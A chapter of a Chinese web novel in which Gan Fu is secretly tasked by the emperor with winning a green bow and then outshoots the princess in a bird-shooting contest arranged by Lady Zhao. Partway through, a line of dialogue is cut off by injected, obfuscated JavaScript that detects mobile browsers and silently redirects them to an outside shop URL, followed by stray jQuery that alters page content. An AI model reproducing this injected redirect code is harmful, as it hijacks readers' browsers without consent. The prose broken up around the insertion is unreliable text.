31. 比试

作品:《被退婚后嫁给前任他哥

    要她帮忙做事?


    甘芙心里隐隐有种不好的预感。


    她咽了咽,硬着头皮开口:“不知陛下有何要事?”


    皇帝轻哼一声,没接话。


    旁边的小太监扑通跪下,连连磕头:“奴婢告退!”


    原来是有外人在,皇帝不肯说。


    甘芙偷偷斜眼打量那小太监,见他低眉顺眼,头发上还沾着几根枯草,瞧着倒没受伤。他一溜烟跑走后,皇帝这才开了尊口:“我要你替我赢一样东西。”


    甘芙一愣,抬起头,对上他不悦的眉眼,又赶忙垂眸:“陛下请讲。”


    “射艺比试,赵夫人手里有个彩头,是把绿沉弓。”皇帝淡淡道,“你去替我赢回来。”


    甘芙讶异:“啊?”


    赵夫人的东西,陛下想要,直接讨来不就是了?何必绕这么大弯子,要她去比试?


    见她一脸不解,皇帝神色不悦,语速加快几分:“怎么?不乐意?信不信朕立刻吐血给你看?”


    “……”


    有拿吐血威胁人的皇帝么?


    “陛下慎言。”甘芙面露无奈。


    皇帝不耐烦地一摆手:“赢回来朕自有重赏,你还有什么不满?”


    “……不敢。”甘芙苦涩道。


    “此事不许与旁人讲,”皇帝冷冷道,又补了一句,“谢瑾也不行。”


    甘芙心感奇怪,却也不便再问:“是。”


    皇帝勉强满意,轻掸马臀,拨转马头朝营帐方向行去,甘芙悄悄拭去额角未干的冷汗,翻身上马,不远不近地跟在后头。刚走出没几步,远处尘土飞扬,一队人马疾驰而来,为首那人翻身下马,扑通跪倒:“陛下!臣救驾来迟!臣该死!”


    甘芙垂着眼睛,只盼没人注意到自己,因为她实在不知该如何解释,为何会独自跟在皇帝身后。


    “哼,”皇帝冷笑一声,“等你们来,朕怕连骨头渣子都不剩了。”


    那人惊慌失措,额头重重磕在尘土里:“臣死罪!”


    “羽林校尉既然喜欢姗姗来迟,”皇帝语气悠悠的,“那就干脆回家躺着吧。”


    “陛下饶命!”那人拼命叩头,“臣再也不敢了!”


    皇帝脸色陡然一沉,声音如淬寒冰:“拖下去。”


    两人跳下马立刻将人拖走,仿佛再慢一分,被拖走的就会是自己。


    甘芙见此情景暗吸了一口冷气,极力压缩自己的存在感,然而身后又传来马蹄声,甘芙回头一看,竟是谢瑾带着人来了。


    甘芙眼睛微微睁大,紧绷的脸色总算稍稍舒缓,谢瑾深看她一眼,从她身边行过,对皇帝行礼:“陛下怎么一个人跑到这边来了?让臣等好找。”


    皇帝笑眯眯地道:“朕想去哪儿就去哪儿。”


    众人默然。


    皇帝倏然又冷哼一声:“行了,回去。”


    谢瑾拱手应是。


    乌泱泱一大群羽林卫围拢在皇帝身后,不徐不疾行进在前,谢瑾绕到甘芙身边,轻声问道:“芙儿,你怎么一个人进林子了?”


    甘芙见到谢瑾担忧的模样,张了张嘴,又想起皇帝吩咐她不许泄密的事儿,摇摇头,为难道:“说来话长,我回家再跟你说吧。”


    谢瑾端详她片刻,轻颔首:“好。”


    众人回到营地,赵夫人娇泣一声扑进皇帝怀里:“陛下!他们传话说您受了袭击,您有没有事?真是吓死妾身了!”


    皇帝揽住赵夫人,嘴角在笑,眼里却冷得厉害:“怎么就给夫人吓着了?”


    “自然、自然是怕陛下有个什么三长两短。”赵夫人哽咽道。


    “呵呵,”皇帝笑了两声,“朕吉人天相,这不,有谢夫人挺身相救么?”


    甘芙察觉到皇帝扫过来的戏谑目光,立即如芒在背,暗自祈祷皇帝不要造谣了。


    赵夫人靠在皇帝怀里,斜觑见平安无事的甘芙,美目中闪过一丝怨毒。


    方才冬娘央求赵夫人救人,赵夫人本就不喜欢甘芙,更不会喜欢作为谢瑾夫人的甘芙,得知甘芙只身去救人,心念一转,不若就借刀杀人,倒给母家除去一个碍事的家伙,所以她暗示羽林校尉不必那么着急赶过去,谁知赵家安插在羽林中的眼线回来禀报,林中受击的竟然是皇帝,倒给了甘芙一个救驾之功,当真可气。


    但她只是娇笑一声:“那陛下可得好好赏赐谢夫人了。”


    皇帝揽着赵夫人到上座坐下,臣僚官眷一一落座,叶绮南更衣回来,见皇帝和群臣都在,走到台前行礼:“陛下,你们这么快就回来了?今日谁赢了?”


    她浑不知发生了什么,只一贯地活泼,想到什么说什么。


    赵夫人在一旁暗暗打量皇帝神色,皇帝朗声一笑:“还未清点出来,不过,比郡主猎得多的,肯定也没几个。”


    叶绮南得意洋洋,一点也不谦逊:“这个倒是自然。”


    她大大咧咧坐到自己的位置,朝对面的谢瑾展颜一笑,当甘芙不存在似的。甘芙眼观鼻鼻观心,不动声色地端起茶水饮下,将空杯放回去的时候侧畔的人静静握住了她的手背。


    甘芙转头看向谢瑾,也正好看到隔席而坐的谢握瑜,殷月宁正在坐在他身边给他递水。


    谢握瑜难道是要跟殷月宁成亲吗?难怪之前殷月宁叫她大嫂,原来是这样。


    甘芙的思绪跳脱一瞬,谢瑾敏锐地捕捉到她变动的眼色,手指立刻极轻地勾了一下她:“还要喝吗?”


    甘芙收回神思,看向他摇摇头:“不用了。”


    赵夫人美目流眄,贴近皇帝,柔声说道:“陛下您方才不在,没看见郡主在射艺比试上技压四方,妾身想在座的诸将恐怕也比不过郡主呢。”


    “哦?”皇帝一扬眉,“那可真是错过了。绮南,刚才都赢了什么好玩意?”


    叶绮南起身应道:“陛下,都是赵夫人从宫中带来的彩头,有金钗、玉坠、夜明珠、鬼工球等物,个个都精巧得很。”


    赵夫人抿嘴轻笑:“这些都是小玩意儿,不过陛下,昨日宫里的奴婢在库内找见一把极好的绿沉弓,妾身想此物若为彩头,于今日十分合适,不如就将其作为今日比试之压轴?”


    皇帝似笑非笑:“夫人真是巧思。”


    “既然陛下也赞同,那不如这会儿就移驾开始比试吧?”赵夫人顺水推舟。


    叶绮南却道:“陛下,夫人,方才我们大家都比过了,这会儿再比似乎差点意思。”


    赵夫人道:“这有何难?换一个比法便是。”


    “可,谁人来比呢?”叶绮南将才可是将所有人都比下去了的,再比一次也没什么悬念。


    赵夫人一笑:“郡主刚刚不在,恐怕还不知道谢夫人射熊救驾,英勇无比呢,不如就让谢夫人与


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263068|197866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    郡主比一场,想必会十分精彩。”


    果然该来的逃不掉,还不用皇帝亲自开口。


    甘芙心道。


    她站起身来,拱手道:“臣妇驽钝,怎敢与郡主相提并论。”


    谢瑾眉宇浮上一丝不悦,正要起身为甘芙开脱,却收到她阻止的眼神。


    甘芙是假意推脱,赵夫人既然拿定主意要为难她,这点推脱是起不了作用的,她如此做仅是刻意隐瞒她与皇帝的约定,不叫人生疑而已。


    下一刻赵夫人当真说道:“谢夫人何苦自谦?若非技艺高超,岂能救驾于虎口?”她扭身问皇帝,“陛下,您说好不好?”


    皇帝勾唇一笑:“夫人说好,自然是好。谢夫人,不必忧心,是胜是负,朕都有赏赐。”


    甘芙忍不住暗暗吐槽:究竟是谁才让她这么忧心的……


    她无奈拱一拱手:“是。”


    众人前往比试场地,赵夫人已经派人将绿沉弓搬到场上,原本排列箭靶的地方已经被搬空,两个太监站在那里,腿侧还用黑布盖着木笼。


    赵夫人道:“陛下,妾身瞧郡主与谢夫人都是女中豪杰,那箭靶死物一个,射中了没甚趣味,不如叫人放些鸟雀,待飞腾时看谁能射中,多中者为胜,如此,既合校猎祭祀之义,又多些看头,陛下以为如何?”


    赵夫人倒并非虚言,皇家校猎往往都由水衡、虞人等官提前放些野物进猎场,供给皇室权贵射猎,那太监身边的两个木笼中就盛放着预先备下的鸟儿。


    皇帝斜睨她一眼,勾起一抹笑:“夫人想得真周到,就依你。”


    侍从给甘芙与叶绮南奉上弓箭,甘芙试了试弦,谢瑾站在她身侧,道:“尽力而为便是。”


    甘芙露出一个笑容,安抚道:“放心。”


    她深吸一口气,走到预备位置。


    第一局,左右两个太监各放飞一只黄雀。


    甘芙凝神弯弓,几乎与叶绮南同时射中鸟儿。


    叶绮南一笑:“甘小姐好手法。”


    甘芙颔首致意。


    第二局,两个太监背对她们,只听扑棱一声,四只鸟同时飞出。


    甘美秀眉微蹙,飞快射出两箭,叶绮南也不遑多让,四只鸟儿几乎同时落地。


    “啧啧,这样下去如何分辨胜负?”有人议论道。


    甘芙听见这话,心不免也有些紧张,若是赢不回那绿沉弓,皇帝会不会为难自己?


    “好啊,真是精彩,最后一局,二位决一决胜负吧。”皇帝好整以暇地支颐说道。


    第三局开始了。


    甘芙紧紧盯视背对自己的太监,抽出一支箭搭上弓身,聚精会神听声音,须臾,鸟雀扑棱而出,熟料,竟是放出的五只鸟,分明是要她们做抢夺!


    叶绮南嘴角扬起,甘芙余光里瞧见对方搭弦,几乎不暇思索,立马再抽出两只箭上弦,三箭一齐飞出,精准地射下三只鸟来!


    “还能这样?”有人惊道。


    叶绮南自认自己射箭速度和精准度都在甘芙之上,可速度再快,也比不过三箭齐发皆中的效率。


    甘芙心里悬着的大石头总算落下去,暗抒一口气,放下箭拱手作礼:“承让。”


    赵夫人却先拍案而起:“这如何能算?这是诡诈之术!”


    甘芙心神一紧,她放手一搏,没来得及想旁人会如何看待她的做法。